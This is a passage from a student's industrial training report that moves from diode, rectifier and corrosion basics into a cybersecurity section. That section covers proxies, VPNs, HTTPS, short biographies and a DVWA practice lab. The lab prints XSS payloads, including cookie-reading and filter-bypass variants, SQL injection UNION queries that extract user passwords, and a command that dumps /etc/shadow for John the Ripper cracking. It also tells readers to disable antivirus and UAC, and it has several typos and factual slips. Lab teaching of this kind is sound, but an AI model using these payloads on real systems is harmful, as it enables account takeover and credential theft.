this manner, there is a reduction in the potential barrier. For silicone diodes, when the voltage is 0.7 V and for
germanium diodes, when the voltage is 0.3 V, the potential barriers decreases and there is a flow of current.
When the diode is in forward bias, the current increases slowly and the curve obtained is non-linear as the
voltage applied to the diode is overcoming the potential barrier. Once the potential barrier is overcome by the
diode, the diode behaves normal and the curve rises sharply as the external voltage increases and the curve so
obtained is linear.
When the PN junction diode is under negative bias condition, the p-type is connected to the negative terminal
while the n-type is connected to the positive terminal of the external voltage. This results in an increase in the
potential barrier. Reverse saturation current flows in the beginning as minority carriers are present in the
junction.
When the applied voltage is increased, the minority charges will have increased kinetic energy which affects
the majority charges. This is the stage when the diode breaks down. This may also destroy the diode.
Applications of PN Junction Diode
• p-n junction diode can be used as a photodiode as the diode is sensitive to the light when the
configuration of the diode is reverse-biased.
• It can be used as a solar cell.
• When the diode is forward-biased, it can be used in LED lighting applications.
• It is used as rectifiers in many electric circuits and as a voltage-controlled oscillator in varactors.

Semiconductor Zener
Diode Diode

Electric
Extrinsic
Field
Semiconductors
Lines

MIST-DECE 106
INDUSTRIAL TRAINING REPORT

13.What is Rectifier?
A Rectifier is an electrical device that is made of one or more than one diodes that converts the alternating
current (AC) into direct current (DC). It is used for rectification where the process below shows that how it
convert AC into DC..
What is Rectification?
Rectification is the process of conversion of the alternating current (which periodically changes direction) into
direct current (flow in a single direction).
Based on the type of rectification circuit does, the rectifiers are classified into two categories.
• Half wave rectifier
• Full wave rectifier
Half wave rectifier only converts half of the AC wave into DC signal whereas Full wave rectifier converts
complete AC signal into DC.
Bridge rectifier is the most commonly used rectifier in electronics and this report will deal with the working
and making of one. Simple bridge rectifier circuit is the most popular method for full wave rectification.
A simple Half Wave Rectifier is nothing more than a single pn junction diode connected in series to the load
resistor. As you know a diode is to electric current like a one-way valve is to water, it allows electric current
to flow in only one direction. This property of the diode is very useful in creating simple rectifiers which are
used to convert AC to DC.
A diode allows the current flow in only one direction known as forward bias. A load resistor RL is connected
in series with the diode.

Fig no 2.18: Half wave rectifier


14. FULL WAVE RECTIFIER:
A full wave rectifier converts both positive and negative half cycles of the AC (alternating current) into DC
(direct current). It provides double output voltage compared to the halfwave rectifier
A full wave rectifier is made up of more than one diode.

MIST-DECE 107
INDUSTRIAL TRAINING REPORT

There are two types of full wave rectifier.


1. Bridge Rectifier
2. Center-Tap Rectifier
15. BRIDGE RECTIFIER
A bridge rectifier uses four diodes to convert both half cycle of the input AC into DC output.
In this type of rectifier, the diodes are connected in a specific form as given below.

Fig no 2.19: Bridge Rectifier


Working of Bridge Rectifier Circuit
From the circuit diagram it is apparent that the diodes are connected in a particular fashion. This unique
arrangement gives the converter its name. In bridge rectifier, voltage that is given as the input can be from any
source. It can be from a transformer that is used to step up or down the voltage or it can be from the mains of
our domestic power supply. In this article, we are using a 6-0-6 centre tapped transformer for providing AC
voltage.
In the first phase of working of the rectifier, during the positive half cycle, diodes D3-D2 get forward biased
and conducts. Diodes D1-D4 gets reversed biased and do not conduct in this half cycle, acting as open
switches. Thus, we get a positive half cycle at the output. Conversely, in the negative half cycle, diodes D1-
D4 get forward biased, and start conducting whereas diodes D3-D2 gets reversed biased and do not conduct
in this half cycle.
Again, we get a positive half cycle at the output. At the end of the rectification process, the negative part of
the AC current is converted into a positive cycle. The output from the rectifier is two half-positive pulses with
the same frequency and magnitude as that of the input.

MIST-DECE 108
INDUSTRIAL TRAINING REPORT

In contrast to the working of a half-wave rectifier, the full bridge rectifier has another branch which allows it
to conduct for the negative half of the voltage waveform which the half-bridge rectifier had no means of doing.
So the average voltage at the output of the full bridge rectifier is double than that of the half-bridge rectifier.
Although we use four individual power diodes to make a full wave bridge rectifier, pre-made bridge rectifier
components are available “off-the-shelf” in a range of different voltage and current sizes that can be used
directly to make a working circuit.
The output voltage waveform after the rectification is not a proper DC, so we can try to make it more into a
DC waveform using a capacitor for filtering purpose. Smoothing or reservoir capacitors that are connected in
parallel with the load across the output of the full wave bridge rectifier circuit increases the average DC output
level to the required average DC voltage at the output because the capacitor not only acts as a filtering
component, but it also periodically charges and discharges effectively increasing the output voltage.
Capacitor charge till the waveform goes to its peak and discharges uniformly into the load circuit when
waveform starts going low. So when the output is going low, capacitor maintains the proper voltage supply
into the load circuit, hence creating the DC.
Advantages of a Bridge Rectifier:
1. Low ripples in the output DC signal
2. High rectifier efficiency
3. Low power loss
Disadvantages of Bridge Rectifier:
1. Bridge rectifier is more complex than a half-wave rectifier
2. More power loss compared to centre tapped full wave rectifier.
Cathodic protection (CP) is a technique used to control the corrosion of a metal surface by
making it the cathode of an electrochemical cell. A simple method of protection connects
the metal to be protected to a more easily corroded "sacrificial metal" to act as the anode.
The simplest method to apply cathodic protection is by connecting the metal to be protected
with another more easily corroded metal to act as the anode. Zinc, aluminium and
magnesium are the metals commonly used as anodes.
The most active metal (whis also is the less noble) becomes the anode to the others, and
sacrifices itself by corroding (giving up metal) to protect the cathode. Hence, the term
sacrificial anode.
As the driving voltage of sacrificial anodes is low compared with impressed current anodes,
the sacrificial anodes must be well distributed and located closer to the area being protected.
How to Prevent Corrosion
You can prevent corrosion by selecting the right:
• Metal Type

MIST-DECE 109
INDUSTRIAL TRAINING REPORT

• Protective Coating
• Environmental Measures
• Sacrificial Coatings
• Corrosion Inhibitors
• Design Modification
Metal Type
One simple way to prevent corrosion is to use a corrosion resistant metal such as aluminum or stainless steel.
Depending on the application, these metals can be used to reduce the need for additional corrosion protection.
Protective Coatings
The application of a paint coating is a cost-effective way of preventing corrosion. Paint coatings act as a barrier
to prevent the transfer of electrochemical charge from the corrosive solution to the metal underneath.
Another possibility is applying a powder coating. In this process, a dry powder is applied to the clean metal
surface. The metal is then heated which fuses the powder into a smooth unbroken film. A number of different
powder compositions can be used, including acrylic, polyester, epoxy, nylon, and urethane.

Fig no 2.20: Protective coatings

16. THYRISTORS
Thyristors are an interesting class of semiconductor devices. They share similar characteristics with
other solid-state components made from silicon, like diodes and transistors. Therefore, distinguishing
thyristors from diodes and transistors could be difficult. To add to the difficulty, there are different types
of thyristors available on the market.
In some instances, what sets thyristors apart from one another could be just a tiny detail.
Also, depending on the manufacturer, a given thyristor may be known by another name.

MIST-DECE 110
INDUSTRIAL TRAINING REPORT

To apply thyristors successfully when designing circuits, it is important to know their unique
characteristics, limitations, and their relationship with the circuit. That’s why we’re taking some time
to sort it all out so that you can have a better understanding of what thyristor is most suitable for your
application.
A thyristor is a four-layer device with alternating P-type and N-type semiconductors (P-N-P-N).
In its most basic form, a thyristor has three terminals: anode (positive terminal), cathode (negative
terminal), and gate (control terminal). The gate controls the flow of current between the anode and
cathode.
The primary function of a thyristor is to control electric power and current by acting as a switch. For
such a small and lightweight component, it offers adequate protection to circuits with large voltages
and currents (up to 6000 V, 4500 A).
It is attractive as a rectifier because it can switch rapidly from a state of conducting current to a state
of non-conduction.
In addition, its cost of maintenance is low and, operating under the right conditions, remains
functional in the long term without developing a fault.
Thyristors are used in a wide range of electric circuits, from simple burglar alarms to power
transmission lines.

Fig no 2.21: Thyristors

MIST-DECE 111
INDUSTRIAL TRAINING REPORT

PART-C: CYBERSECURITY
1. INTRODUCTION :
Cyber security is important because government, military, corporate, financial, and medical
organizations collect, process, and store unprecedented amounts of data on computers and other
devices. A significant portion of that data can be sensitive information, whether that be intellectual
property, financial data, personal information, or other types of data for which unauthorized access or
exposure could have negative consequences. Organizations transmit sensitive data across networks and
to other devices in the course of doing businesses, and cyber security describes the discipline dedicated
to protecting that information and the systems used to process or store it. As the volume and
sophistication of cyber attacks grow, companies and organizations, especially those that are tasked
with safeguarding information relating to national security, health, or financial records, need to take
steps to protect their sensitive business and personnel information. As early as March 2013, the
nation’s top intelligence officials cautioned that cyber attacks and digital spying are the top threat to
national security, eclipsing even terrorism.
2. PROXY SERVER :
A proxy server acts as a gateway between you and the internet. It’s an intermediary server separating end
users from the websites they browse. Proxy servers provide varying levels of functionality, security, and
privacy depending on your use case, needs, or company policy.If you’re using a proxy server, internet traffic
flows through the proxy server on its way to the address you requested. The request then comes back
through that same proxy server (there are exceptions to this rule), and then the proxy server forwards the
data received from the website to you.

Fig no.1: Proxy server


If that’s all it does, why bother with a proxy server? Why not just go straight from to the website and
back?Modern proxy servers do much more than forwarding web requests, all in the name of data security
and network performance. Proxy servers act as a firewall and web filter, provide shared network
connections, and cache data to speed up common requests. A good proxy server keeps users and the internal
network protected from the bad stuff that lives out in the wild internet. Lastly, proxy servers can provide a
high level of privacy.

MIST-DECE 112
INDUSTRIAL TRAINING REPORT

Proxy Server Operations :


Every computer on the internet needs to have a unique Internet Protocol (IP) Address. Think of this IP
address as your computer’s street address. Just as the post office knows to deliver your mail to your street
address, the internet knows how to send the correct data to the correct computer by the IP address.
A proxy server is basically a computer on the internet with its own IP address that your computer knows.
When you send a web request, your request goes to the proxy server first. The proxy server then makes your
web request on your behalf, collects the response from the web server, and forwards you the web page data
so you can see the page in your browser. When the proxy server forwards your web requests, it can make
changes to the data you send and still get you the information that you expect to see. A proxy server can
change your IP address, so the web server doesn’t know exactly where you are in the world. It can encrypt
your data, so your data is unreadable in transit. And lastly, a proxy server can block access to certain web
pages, based on IP address.

3. VIRTUAL PRIVATE NETWORK:


.

Fig no.2:Virtual Private Network


virtual private network (VPN) extends a private network across a public network and enables users to send
and receive data across shared or public networks as if their A computing devices were directly connected
to the private network. Applications running across a VPN may therefore benefit from the functionality,
security, and management of the private network. Encryption is a common, although not an inherent, part of
a VPN connection.]
VPN technology was developed to provide access to corporate applications and resources to remote or
mobile users, and to branch offices. For security, the private network connection may be established using an
encrypted layered tunneling protocol, and users may be required to pass various authentication methods to
gain access to the VPN. In other applications, Internet users may secure their connections with a VPN to
circumvent geo-restrictions and censorship or to connect to proxy servers to protect personal identity and
location to stay anonymous on the Internet. Some websites, however, block access to known VPN
technology to prevent the circumvention of their geo- blockades. A VPN is created by establishing a
virtual point-to-point connection through the use of dedicated circuits or with restrictions, and many VPN
providers have been developing strategies to get around these tunneling protocols over existing networks. A

MIST-DECE 113
INDUSTRIAL TRAINING REPORT

VPN available from the public Internet can provide some of the benefits of a wide area network (WAN).
From a user perspective, the resources available within the private network can be accessed remotely.

4. INCOGNITO MODE:

Fig no.3: Incognito mode


Incognito mode As we mentioned, Incognito Mode changes the Chrome browser itself (and other privacy
modes work the same way with their respective browsers). However, the browser isn’t always the only thing
keeping track of web history. If you’re using a Windows computer, for example, someone else can come
along and input the right commands to view DNS files, which Incognito Mode doesn’t touch. So yes, if
someone wants to do the work, they can still see the browsing history on that computer.
There are even easier ways to view browsing history with the right apps. In particular, parental control
apps can independently watch, record, and display web browsing history, and they won’t be affected by a
privacy mode .Incognito Mode is designed to remove any local data on the web browsing session. That
means that any cookies a site tries to upload to your computer are blocked or deleted, no browsing is
recorded in your local search history, and other various trackers, temporary files, and third-party toolbars are
disabled. Privacy modes like this affect specific devices and only browser-related data on those devices. That
leaves a whole lot of data that Incognito Mode doesn’t affect at all.

5. BIOGRAPHIES :
5.1 Edward Snowden :
Edward Joseph Snowden (born June 21, 1983) is an American whistleblower who copied and
leaked highly classified information from the National Security Agency (NSA) in 2013 when he was
a Central Intelligence Agency (CIA) employee and subcontractor. His disclosures revealed
numerous global surveillance programs, many run by the NSA and the Five Eyes Intelligence
Alliance with the cooperation of telecommunication companies and European governments, and
prompted a cultural discussion about national security and individual privacy.

MIST-DECE 114
INDUSTRIAL TRAINING REPORT

In 2013, Snowden was hired by an NSA contractor, Booz Allen Hamilton, after previous employment
with Dell and the CIA. Snowden says he gradually became disillusioned with the programs with which
he was involved and that he tried to raise his ethical concerns through internal channels but was
ignored. On May 20, 2013, Snowden flew to Hong Kong after leaving his job at an NSA facility in
Hawaii, and in early June he revealed thousands of classified NSA documents to journalists Glenn
Greenwald, Laura Poitras, and Ewen MacAskill. Snowden came to international attention after stories
based on the material appeared in The Guardian and The Washington Post. Further disclosures were
made by other publications including Der Spiegel and The New York Times.

Fig no.4: Edward Snowden


Education:
In the early 1990s, while still in grade school, Snowden moved with his family to the area of Fort Meade,
Maryland. Mononucleosis caused him to miss high school for almost nine months. Rather than returning to
school, he passed the GED test and took classes at Anne Arundel Community College. Although Snowden had
no undergraduate college degree, he worked online toward a master's degree at the University of Liverpool,
England, in 2011. He was interested in Japanese popular culture, had studied the Japanese language, and worked
for an anime company that had a resident office in the U.S. He also said he had a basic understanding
of Mandarin Chinese and was deeply interested in martial arts. At age 20, he listed Buddhism as his religion on
a military recruitment form, noting that the choice of agnostic was "strangely absent." In September 2019, as
part of interviews relating to the release of his memoir Permanent Record, Snowden revealed to The
Guardian that he married Lindsay Mills in a courthouse in Moscow.

Career:
Feeling a duty to fight in the Iraq War to help free oppressed people, Snowden enlisted in the United States
Army Reserve on May 7, 2004, and became a Special Forces candidate through its 18X enlistment
option. He did not complete the training due to bilateral tibial fractures, and was discharged on September
28, 2004.]Snowden was then employed for less than a year in 2005 as a security guard at the University of
Maryland's Center for Advanced Study of Language, a research center sponsored by the National Security

MIST-DECE 115
INDUSTRIAL TRAINING REPORT

Agency (NSA). According to the University, this is not a classified facility, though it is heavily guarded. In
June 2014, Snowden told Wired that his job as a security guard required a high-level security clearance, for
which he passed a polygraph exam and underwent a stringent background check.

5.2 ELLIOT ANDERSON :


Elliot Alderson is a cybersecurity engineer and vigilante hacker who lives in New York City. He is played
by Rami Malek.
Elliot suffers from social anxiety disorder, clinical depression, delusions and paranoia. His internal life is
revealed via voice-overs that provide insight into his mental state, his opinions of the people he encounters
and the activity around him. These dialogues with the audience are designed to help us interpret Elliot's
world, but given his mental illness, he is an unreliable narrator, leaving us unsure whether what he tells us
we're seeing is actually what is happening. Typical of this is when Elliot hears everyone around him refer
to E Corp as Evil Corp, reflecting his own opinion of the conglomerate.

Fig no. 5: Elliot Anderson

Background:
Although not much is known about his childhood, Elliot describes his relationship with his father to be a
very positive one. He tells Mr. Robot that his father was the only one he could talk to. His father died of
leukemia which he developed after working at E-Corp, leaving him in the care of his mother. Elliot's father
tried to keep the cancer a secret, but when he was very ill by the time Elliot was eight, he told his father's
secret to his mother, resulting into his father flying into a rage, pushing him out of the bedroom window and
breaking his arm. This affected Elliot's otherwise positive opinion of his father, however, Darlene informs
him that this did not happen - in fact, he fell out of the window due to his own breakdown with a baseball
bat. He did not have a good relationship with his mother, who was somewhat abusive towards Elliot as a
child both physically and mentally. She seemed to have a negative relationship with Elliot's father, acting

MIST-DECE 116
INDUSTRIAL TRAINING REPORT

indifferent after his death. Darlene is Elliot's younger sister, although he does not always remember that she
is.
Before Elliot worked as an engineer at All safe Cybersecurity, he previously worked as a white-hat
hacker for a cyber company, looking for holes in the system until it was "hacker-proof". On Memorial
Day weekend when everybody else wanted to leave to party, Elliot continued to hack the company and
they couldn't lock down the servers. They locked Elliot in the server room for the night.

5.3 DTRACK :
DTrack, as flagged by cyber-security firm Kaspersky, is used by hackers to attack financial and research
centres in India. It's earlier version ATM Dtrack was designed to hack ATMs in India. "The malware was
designed to be planted on the victim’s ATMs, where it could read and store the data of cards that were
inserted into the machines," a post by Kaspersky said in September.
Later a version of it was used to attack the banking system in South Korea as well as for the infamous
WannaCry ransom worm attacks across the globe. Researchers have identified that the malware which
infected the computer at Kudankulam nuclear power plant was DTrack. However, cyber attack expert
Pukhraj Singh says that the identity of the malware was not certain. According to reports, Lazarus is an arm
of the North Korean regime. Lazarus first landed on the radar of many security researchers following the
infamous Sony Pictures hack in late 2014. Once considered a ragtag ensemble of hackers, the group has
risen to prominence over the years with a series of lucrative hacks involving the SWIFT payment network
used by banks. After the due investigations, the cyber experts have tied the 2013 cyberattack in South Korea
and WannaCry ransom worm attacks in 2017 to Lazarus Group. News agencies including Reuters have
cited a United Nationsreport that estimated North Korean hacking has generated $2 billion for the country’s
weapons of mass destruction programmes.
There are at least 180 versions of DTrack virus identified by Kaspersky Lab. Samples analyzed by
Kaspersky Lab include the following capabilities:
#Keylogging
#Retrieving browser history
#Gathering host IP addresses, information about available networks and active connections
#Listing all running processes
#Listing all files on all available disk volumes

6. HTTP &HTTPS :
6.1 Hypertext Transfer Protocol (HTTP) :
Hypertext transfer protocol or HTTP is a fundamental protocol used on the Internet in order to control data
transfer to and from a hosting server, in communication with a web browser.
HTTP is the essential means of communication between web users and the servers that maintain the websites
themselves.

MIST-DECE 117
INDUSTRIAL TRAINING REPORT

As a stateless protocol, HTTP is not inherently saving user settings — so items like cookies are used to help
the web sites and servers to “remember” what a user has done.
The use of user-accessible tools means users can choose to erase cookies and other tools and start over again
as anonymous users, or save these markers so that they can bypass all of that “getting to know” the hosting
server’s site again.
In some ways, HTTP has been useful in transitioning web use into a really stable stateful result — but users
who delete all cookies and stored data for the first time may be dismayed by how much of their daily web
routine is compromised.
Early HTTP :
Let's talk about some of the essential parts of the HTTP header. HTTP request and response headers define
the operating parameters of HTTP transactions.
A request structure typically contains the URL with a method, and defines the protocol.
Then there are various standard and non-standard request fields that all trigger different interactions.
A simple way to think of this is that the HTTP codes and fields are, again, the way that the two transacting
parties communicate — browsers send the request to the server, and the servers send the responses, also in
HTTP syntax.
Universalizing this in the context of hypertext syntax makes sense and is a part of how groups like the World
Wide Web Consortium or W3C approached building the Internet as it exists today.
Making HTTP Secure :
Over time, a new protocol called HTTPS emerged, which encrypts the contents of HTTP messages with
Transport Layer Security and Secure Dockets Layer or TLS/SSL protocols.

Fig no.6: HTTP

MIST-DECE 118
INDUSTRIAL TRAINING REPORT

Prior to this, in many cases, hackers could simply go in and type in additions or amendments to the actual
request in their browser URL bar, before triggering the request itself. That led to all sorts of security
vulnerabilities where bad actors were getting control of or access to systems.
Because HTTPS encrypts the actual HTTP syntax, it's effective in safeguarding against this kind of activity.
Tracking and Interactivity
As the web becomes more complex, HTTP is evolving, too. The ways that web users and sites interact have
been subject to some pretty significant evolutions over the last couple of decades.
For example, in general, the era of Web 2.0 has been a time in which company and other websites have
become more interactive. There are more user registration fields and other user events embedded in web
pages in general, and all of these have to be managed with HTTP, or more accurately HTTPS.
Then there's the news of a future web 3.0, which will rely on technologies like JSON to accommodate more
data mapping, more semantic connection and more automation of browser and server interactions.
HTTP itself might undergo a lot more future change to accommodate this — but for now, HTTPS remains a
foundational aspect of Internet security and function.
6.2 HTTPS:
HTTPS (HTTP over SSL or HTTP Secure) is the use of Secure Socket Layer (SSL) or Transport Layer
Security (TLS) as a sublayer under regular HTTP application layering. HTTPS encrypts and decrypts user
page requests as well as the pages that are returned by the Web server. The use of HTTPS protects against
eavesdropping and man-in-the-middle attacks. HTTPS was developed by Netscape.
HTTPS and SSL support the use of X.509 digital certificates from the server so that, if necessary, a user can
authenticate the sender. Unless a different port is specified, HTTPS uses port 443 instead of HTTP port 80 in
its interactions with the lower layer, TCP/IP.
Suppose you visit a Web site to view their online catalog. When you're ready to order, you will be given a
Web page order form with a Uniform Resource Locator (URL) that starts with https://. When you click
"Send," to send the page back to the catalog retailer, your browser's HTTPS layer will encrypt it. The
acknowledgement you receive from the server will also travel in encrypted form, arrive with an https://
URL, and be decrypted for you by your browser's HTTPS sublayer.
The effectiveness of HTTPS can be limited by poor implementation of browser or server software or a lack
of support for some algorithms. Furthermore, although HTTPS secures data as it travels between the server
and the client, once the data is decrypted at its destination, it is only as secure as the host computer.
According to security expert Gene Spafford, that level of security is analogous to "using an armored truck to
transport rolls of pennies between someone on a park bench and someone doing business from a cardboard
box."

7. XAMPP & DVWA :

MIST-DECE 119
INDUSTRIAL TRAINING REPORT

7.1 Cross Site Scripting :


Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to
compromise the interactions that users have with a vulnerable application. It allows an attacker to
circumvent the same origin policy, which is designed to segregate different websites from each other.
Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry
out any actions that the user is able to perform, and to access any of the user's data. If the victim user
has privileged access within the application, then the attacker might be able to gain full control over all
of the application's functionality and data.
How to work on XSS?
To learn XSS we need to practice on damn vulnerable web applications using xampp server
How to set up a XAMPP server?
Step 1: Download
XAMPP is a release made available by the non-profit project Apache Friends. Versions with PHP 5.5,
5.6, or 7 are available for download on the Apache Friends website.
Step 2: Run .exe file
Once the software bundle has been downloaded, you can start the installation by double clicking on the
file with the ending .exe.
Step 3: Deactivate any antivirus software
Since an active antivirus program can negatively affect the installation process, it’s recommended to
temporarily pause any antivirus software until all XAMPP components have successfully been
installed.

Fig no.:7 asking for continue installation


Before installing XAMPP, it is advisable to disable the anti-virus program temporarily
Step 4: Deactivate UAC
User Account Control (UAC) can interfere with the XAMPP installation because it limits writing
access to the C: drive, so we recommend you deactivate this too for the duration of the installation
process. To find out how to turn off your UAC, head to the Microsoft Windows support pages.

MIST-DECE 120
INDUSTRIAL TRAINING REPORT

Fig no.:8 :Dialog Appears for opening the xampp


User account control can affect the installation of XAMPP
Step 5: Start the setup wizard
After you’ve opened the .exe file (after deactivating your antivirus program(s) and taken note of the
User
Account Control, the start screen of the XAMPP setup wizard should appear automatically. Click on
‘Next’ to configure the installation settings.

Fig no.9 click next for installation


Step 6: Choose software components
Under ‘Select Components’, you have the option to exclude individual components of the XAMPP
software bundle from the installation. But for a full local test server, we recommend you install using
the standard setup and all available components. After making your choice, click ‘Next’.

Fig no.10 ; select components

MIST-DECE 121
INDUSTRIAL TRAINING REPORT

Step 7: Choose the installation directory


In this next step, you have the chance to choose where you’d like the XAMPP software packet to be
installed. If you opt for the standard setup, then a folder with the name XAMPP will be created under
C:\ for you. After you’ve chosen a location, click ‘Next’.

Fig no.11: selection for xampp to be installed or not


Step 8: Start the installation process
Once all the aforementioned preferences have been decided, click to start the installation. The setup
wizard will unpack and install the selected components and save them to the designated directory. This
process can take several minutes in total. You can follow the progress of this installation by keeping an
eye on the green loading bar in the middle of the screen.

Fig no.12: xampp is installing


Step 9: Complete installation
Once all the components are unpacked and installed, you can close the setup wizard by clicking on
‘Finish’. Click to tick the corresponding check box and open the XAMPP Control Panel once the
installation process is finished.

MIST-DECE 122
INDUSTRIAL TRAINING REPORT

Fig no. 13 xampp installed

Step 10: start apache and mysql

Fig no.14 starting the servers


Step 11: download dvwa

Fig no.15 : dvwa


Step 12:
2. Download DVWA. Then extract the zip file

MIST-DECE 123
INDUSTRIAL TRAINING REPORT

Fig no.16: extract the files


Step 13:
Copy and paste the extracted zip file and paste it in htdocs found in Xampp folder
Step 14:
Open web browser and type local host/dvwa

Fig no.17: opens the dvwa


Give the user name as “admin” and password as “password”.
Now we can see the screen given below

Fig no.18: home page opens


We can practice the xss here
How does XSS work?

MIST-DECE 124
INDUSTRIAL TRAINING REPORT

Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript
to users. When the malicious code executes inside a victim's browser, the attacker can fully
compromise their interaction with the application.
What are the types of XSS?
1. Reflected xss
2. Stored xss
3. Dom xss
Reflected cross-site scripting :
Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data
in an HTTP request and includes that data within the immediate response in an unsafe way.
Here is a simple example of a reflected XSS vulnerability:
https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>
The application doesn't perform any other processing of the data, so an attacker can easily construct an
attack like this:
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>
If the user visits the URL constructed by the attacker, then the attacker's script executes in the user's
browser, in the context of that user's session with the application. At that point, the script can carry out
any action, and retrieve any data, to which the user has access.
Examples:
s.no Input Output
1 Low
:<script>alert(“1”)</script>
Medium:<scr<script>ipt>aler
t(“1”) </script>

2 Low: ><img src=1


onclick=”java
script:alert(1)”></img>
Medium:<sCript>><img
src=1 onclick=”java
script:alert(1)”></img></sCri
pt>

MIST-DECE 125
INDUSTRIAL TRAINING REPORT

High: ><img src=1


onclick=”java
script:alert(1)”></img>

3 Low:<a
herf=https://www.google.co
m>HI</a>
Medium:<a
herf=https://www.google.co
m>hi</a>
High:><a
herf=https://www.google.co
m>hi</a>

4 Low:<script>alert(document.
cookie)</script>
Medium:<sCript>
alert(document.cookie)</sCri
pt>
High:<img src=x
onMouseOver=
alert(document.cookie)>

5 Low:<iframe onload iframe


onload =
”javascript:javascript:alert(1)
”></iframe>
Medium::<iframe onload
iframe onload =
”javascript:javascript:alert(1)
”></iframe>

MIST-DECE 126
INDUSTRIAL TRAINING REPORT

6 Low:<ol><li>12</li><li>2</
li></ol>
Medium:<ol><li>12</li><li>
2</li></ol>
High:
<ol><li>12</li><li>2</li></
ol>

6 low:<img src=x
onerror="alert(String.fromC
harCode(88,83,83))"></img
>

medium:<img src=x
onerror="alert(String.fromC
harCode(88,83,83))"></img
>

high:<img src=x
onerror="alert(String.fromC
harCode(88,83,83))"></img
>

stored cross-site scripting :


Stored XSS (also known as persistent or second-order XSS) arises when an application receives data
from an untrusted source and includes that data within its later HTTP responses in an unsafe way.
The data in question might be submitted to the application via HTTP requests; for example, comments
on a blog post, user nicknames in a chat room, or contact details on a customer order. In other cases,
the data might arrive from other untrusted sources; for example, a webmail application displaying
messages received over SMTP, a marketing application displaying social media posts, or a network
monitoring application displaying packet data from network traffic.
Here is a simple example of a stored XSS vulnerability. A message board application lets users submit
messages, which are displayed to other users:
<p>Hello, this is my message!</p>

MIST-DECE 127
INDUSTRIAL TRAINING REPORT

The application doesn't perform any other processing of the data, so an attacker can easily send a
message that attacks other users:
<p><script>/* Bad stuff here... */</script></p>
Examples:
s Input output
n
o
Low:
1 name:
hi
message:<script>alert(
“hi”)</script>
medium:
name: hi
message:<sc<script>ri
pt>alert(“hi”)</script>

Low:
2
name: <img src=1
onclick=”java
script:alert(1)”></img
> Message:hi
medium:
name: <img src=1
onclick=”java
script:alert(1)”></img
> Message:hi
high:
name: <img src=1
onclick=”java
script:alert(1)”></img
> Message:hi

MIST-DECE 128
INDUSTRIAL TRAINING REPORT

Low:
3
name: :<a
herf=https://www.goo
gle.com>HI</a>
Message:hi
medium:
name: :<a
herf=https://www.goo
gle.com>HI</a>
Message:hi
high:
name::<a
herf=https://www.goo
gle.com>HI</a>
Message:hi
Low:
4
name:
:<script>alert(docume
nt.cookie)</script>
Message:hi
medium:
name:<sCript>alert(do
cument.cookie)</scrip
t> Message:hi
high:
name:<img src=x
onmouseover=”alert(d
ocument.cookie)”</im
g> Message:hi

MIST-DECE 129
INDUSTRIAL TRAINING REPORT

Low:
5
name: :<iframe onload
iframe onload =
”javascript:javascript:
alert(1)”></iframe>
Message:hi
medium:
name:<iframe onload
iframe onload =
”javascript:javascript:
alert(1)”></iframe>
Message:hi
high:
name:<iframe onload
iframe onload =
”javascript:javascript:
alert(1)”></iframe>
Message:hi

DOM-based cross-site scripting


DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side
JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the
data back to the DOM.
In the following example, an application uses some JavaScript to read the value from an input field and
write that value to an element within the HTML:
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
If the attacker can control the value of the input field, they can easily construct a malicious value that
causes their own script to execute:
You searched for: <img src=1 onerror='/* Bad stuff here... */'>
In a typical case, the input field would be populated from part of the HTTP request, such as a URL
query string parameter, allowing the attacker to deliver an attack using a malicious URL, in the same
manner as reflected XSS.

8. SQL INJECTION :

MIST-DECE 130
INDUSTRIAL TRAINING REPORT

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that
an application makes to its database. It generally allows an attacker to view data that they are not
normally able top retrieve. This might include data belonging to other users , or any other data that the
application itself is able to access. In many cases an attacker can modify or delete this applications
content or behavior.
In some situations, an attacker can escalate an sql injection attack to compromise the underlying server
or other back-end infrastructure, or perform a denial-of-service attack.
Impact of sql injection:
A successful SQL injection attack can result in unauthorized access to sensitive data, such as
passwords, credits card details, or personal user information. Many high-profile data breaches in recent
years have been the result of SQL injection attacks, leading to reputational damage and regulatory
fines. In some cases, an attacker can obtain a persistent backdoor Into an organizations systems leading
to an long-term compromise that can go unnoticed for an extended period.
SQL INJECTION EXAMPLES :

There are a wide variety of SQL injection vulnerabilities, attack, and techniques, which arise in
different situations. Some common SQL injection examples are:
RETRIEVING HIDDEN DATA , when you can modify an SQL query to return additional results.
SUBVERTING APPLICATION LOGIC, when you can change a query to interfere with the
applications logic.
UNIONS ATTACKS, Where you can retrieve data from different database tables.

Fig no. 19: sql injection

MIST-DECE 131
INDUSTRIAL TRAINING REPORT

SQL INJECTION QUERIES FOR MEDIUM LEVEL :


INPUT :
Id = 1 and 1=1%23

OUTPUT :

INPUT :
Id = 1 union select 1,2%23

MIST-DECE 132
INDUSTRIAL TRAINING REPORT

OUTPUT :

INPUT :
Id = 1 union select table_name, 2 from information_schema.tables where table_schema =
0x64767761%23

OUTPUT :

MIST-DECE 133
INDUSTRIAL TRAINING REPORT

INPUT :
Id = 1 union select column_name, 2 from information_schema.columns where table_name =
0x7573657273%23

OUTPUT :

INPUT :
Id = 1 union select user, password from users%23

MIST-DECE 134
INDUSTRIAL TRAINING REPORT

OUTPUT :

9. JOHN THE RIPPER :


As mentioned before, John the ripper is a password cracking tool which is included by default in Kali
Linux and was developed by openwall. It can automatically detect and decrypt hashed passwords,
which is the standard way of storing passwords in all operating systems. This tool is an offline
password cracking tool, and it also has paid versions with added functionality.
We will review the following four tutorials with john the ripper password cracking tool:
1)Cracking Linux passwords
In Linux, the passwords are stored in the shadow file. If you have been using Linux for a while, you will
know it. This file is hashed and secured. Also, you cannot directly see the files. But with john the ripper you
can easily crack the password and get access to the Linux password.
To crack the Linux password with john the ripper type the following command on the terminal:
unshadow /etc/passwd /etc/shadow > crack.txt

MIST-DECE 135
INDUSTRIAL TRAINING REPORT

Fig no.19 : command prompt


unshadow is a command which can extract hashes and send them to crack.txt file. John can now use these
file with saved hashes to crack them.
As you can see, my default password was directly cracked. Depending on password complexity, the time
